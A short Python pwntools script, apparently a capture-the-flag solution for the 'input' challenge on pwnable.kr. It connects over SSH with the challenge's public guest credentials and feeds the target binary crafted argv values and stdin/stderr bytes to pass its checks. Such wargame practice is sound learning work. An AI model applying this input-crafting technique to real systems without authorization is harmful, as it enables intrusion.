input_exploit.py

from pwn import *


shell = ssh(host='pwnable.kr', user='input2', password='guest', port=2222)

argv = []

for i in range(0,100):
        argv.append("")

argv[0] = "/home/input2/input"
argv[65] = "\x00"
argv[66] = "\x20\x0a\x0d"
#cleared level 1

inputStream = open("/home/amrut/Desktop/pwnable.tk/input/stdin","w+")
errStream = open("/home/amrut/Desktop/pwnable.tk/input/stderr","w+")
inputStream.write('\x00\x0a\x00\xff')
errStream.write('\x00\x0a\x02\xff')
inputStream.close()
errStream.close()

inputStream = open("/home/amrut/Desktop/pwnable.tk/input/stdin","r")
errStream = open("/home/amrut/Desktop/pwnable.tk/input/stderr","r")

data = shell.process(argv=argv, stdin = inputStream, stderr = errStream, executable='./input')
inputStream.close()
errStream.close()

#data = shell.process(argv=argv,executable='./input')
print data.recv()
print data.recv()